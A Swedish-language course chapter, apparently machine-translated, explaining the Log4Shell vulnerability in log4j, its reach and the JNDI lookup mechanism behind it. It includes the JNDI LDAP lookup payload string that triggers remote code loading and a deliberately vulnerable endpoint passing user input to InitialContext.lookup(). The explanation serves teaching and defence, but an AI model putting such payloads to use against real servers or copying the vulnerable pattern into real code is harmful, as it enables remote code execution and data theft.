7.1 Skandal

Och naturligtvis Àr det omöjligt att inte berÀtta om historien som hÀnde ganska nyligen - i slutet av 2021.

Log4Shell

US Cybersecurity and Infrastructure Protection Agency (CISA) sa att problemet Log4ShellÀr en av de allvarligaste sÄrbarheterna i historien. Ja, vi pratar om vÄrt favoritbibliotek log4j.

VÄrt mysiga lilla bibliotek log4j och historiens största sÄrbarhet ? Fascinerad? Lyssna, dÄ.

7.2 Katastrofens omfattning

UpptÀckten av en kritisk sÄrbarhet Log4Shell(kod CVE-2021-44228) tillkÀnnagavs den 9 december 2021 av Lunasecs sÀkerhetsexperter. Experter frÄn Apache Security Team Java-communityt har verifierat denna information och publicerat en lista över sÄrbara Java-bibliotek. Listan var bara enorm.

Om ett Java-projekt anvÀnde ett bibliotek log4j, kan det hackas ganska enkelt. Och med tanke pÄ att nÀstan all servermjukvara Àr skriven i Javaden log4jmest populÀra javaloggern, enligt sÀkerhetsexperter, pÄverkade sÄrbarheten 93 % av företagens molnmiljöer. Inklusive sÄdana som Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam och mÄnga fler

Dessutom pÄverkade sÄrbarheten inte bara serverprogramvara, utan ocksÄ mÄnga Java-applikationer, sÄvÀl som hÄrdvarutillverkare. Till exempel publicerade Intel en lista med 32 hackbara program: SDK, serverunderhÄllssystem, Linux-verktyg.

Nvidia publicerade ocksÄ en sÀkerhetsproblemrapport som nÀmnde DGX-servrar och NetQ-verktyg. Ett antal uppdateringar slÀpptes snabbt av Apple och Microsoft.

Grovt sett, en rad i adressfÀltet i en elevs webblÀsare sÀtter servern om denna rad Àts upp av loggern ( pÄ mÄnga servrar loggas allt ) HTTP-requests.

Efter att ha analyserat koden visade det sig att sÄrbarheten funnits pÄ biblioteket sedan 2013, men de mÀrkte det först nu. Och nÀr de började grÀva djupare upptÀckte de en avgrund, vars botten inte alls syns.

7.3 Den allvarligaste sÄrbarheten i historien

Tillbaka i december 2021 uppgav den amerikanska byrÄn för cybersÀkerhet och infrastrukturskydd (CISA) att Log4Shelldet Àr en av de allvarligaste sÄrbarheterna i historien .

MÄnga andra experter uttrycker en liknande Äsikt . Alla kÀnner till denna sÄrbarhet och hackare i alla Äldrar anvÀnder den redan för att stjÀla personlig data och andra typer av attacker mot olika organisationer. I framtiden vÀntar vi pÄ en vÄg av massiva hacks och datalÀckor.

Katastrofens omfattning kan mÀtas Àven av det faktum att det finns en separat sida med memes om Log4j , och varje dag kommer det nya bilder.

Detta problem har funnits med oss ​​lĂ€nge. Ett sĂ€kerhetshĂ„l i miljoner om inte hundratals miljoner datorsystem. All gammal mjukvara mĂ„ste uppdateras och Ă„tminstone ersĂ€tta detta bibliotek dĂ€r. Men i de flesta fall vet ingen ens vilka bibliotek och vilka versioner som anvĂ€nds i deras programvara.

Generellt sett förvÀntar vi oss en kraftig ökning av lönerna för datasÀkerhetsspecialister.

7.4 Typ av sÄrbarhet

För att förstÄ kÀrnan i sÄrbarheten mÄste du förstÄ hur stora serversystem Àr ordnade. Ofta Àr sÄdana serverapplikationer uppdelade i olika tjÀnster som finns pÄ olika servrar. Och JNDI-tjÀnsten hjÀlper dem att interagera.

Java Naming and Directory Interface (JNDI) Àr Java APIatt slÄ upp objekt/tjÀnster efter namn. Dessa objekt kan lagras i olika namntjÀnster eller kataloger som Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) eller Domain Name Service (DNS).

Att arbeta med det Àr vÀldigt enkelt - det Àr enkelt Java APIsom bara tar en strÀngparameter - namnet pÄ tjÀnsten. Med den kan du kontakta vilken tjÀnst som helst och be honom att göra nÄgot och / eller skicka nÄgra data. Till exempel ${jndi:ldap://example.com/file}kommer strÀng att ladda data frÄn detta URLsom anges i strÀngen.

Om parametern kommer frÄn en opÄlitlig kÀlla kan det leda till fjÀrrklassladdning och tredjepartskodexekvering . Vad hÀnder i fallet med Log4j. Angriparen dirigerar helt enkelt offrets Java-applikation till den skadliga rmi/ldap/corba-serveroch tar emot ett skadligt objekt som svar.

Tekniskt sett ligger problemet hÀr inte i log4jsjÀlva biblioteket, utan i sÀkerhetsinstÀllningarna nÀr man arbetar med JNDI-service. Du mÄste alltid kontrollera vilken typ av strÀng vi skickar till InitialContext.lookup().

SĂ„rbart exempel JNDI-applications:

@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 För smart bibliotek

Och var log4jfrÄgar du? Saken Àr att dess utvecklare ville göra arbetet med det sÄ bekvÀmt som möjligt och lade till smart loggning till den. SÄ hÀr fungerar det:

Det hela började med att loggmeddelanden tillÀt dig att ange en mall dÀr data ersattes, till exempel:


log.debug(“User {user} has {count} friends”, user, count);

Den gamla versionen utan datasubstitution sÄg ut sÄ hÀr:


log.debug( “User “+user +” has “+ count +” friends”);

Under 2013 lades Ă€ven ersĂ€ttningen av smarta prefix som anges av vymallen till biblioteket ${prefix:name}. “${java:version}”Till exempel kommer strĂ€ngen att konverteras till «Java version 1.7.0_67». Åh vad bekvĂ€mt.

Bland de erkÀnda uttrycken kan ${jndi:<lookup>}du efter jndi-protokollet ange en sökning genom LDAP: godtycklig URL-addresskan efterfrÄgas och laddas som objektdata Java.

Detta Àr ett standardproblem för hela tillvÀgagÄngssÀttet JDK: det avserialiserar automatiskt ett objekt, en lÀnk till vilket kan stÀllas in i form av en url. I det hÀr fallet laddas inte bara objektets data frÄn fjÀrrresursen, utan ocksÄ koden för dess klass.

Hacket ser ut sÄ hÀr:

  • Ladda ner en fil med skadlig kod
  • Filen innehĂ„ller serialiserade Java an object(och dess klass)
  • Klassen laddasJava-machine
  • Ett objekt av en skadlig klass skapas
  • Objektets konstruktor kallas
  • BĂ„de konstruktor och statisk initiering tillĂ„ter att skadlig klasskod exekveras

log4jOm det finns nÄgot liknande i raden som loggas kommer ${jndi:ldap://example.com/file}den log4jatt ladda ner data frÄn denna URL-addressnÀr den ansluter till Internet . Genom att ange en strÀng som loggas kan en angripare ladda ner och köra skadlig kod som finns pÄ en offentlig URL-address.

Även om datakörning Ă€r inaktiverad kan en angripare fĂ„ data, sĂ„som hemliga miljövariabler, genom att placera den i en , URL-addresssom kommer att ersĂ€tta den och skicka den till angriparens server.

Den goda nyheten Àr att problemet snabbt ÄtgÀrdades i biblioteket .

Den dÄliga nyheten Àr att miljontals servrar runt om i vÀrlden fortfarande kör den gamla versionen av detta bibliotek ...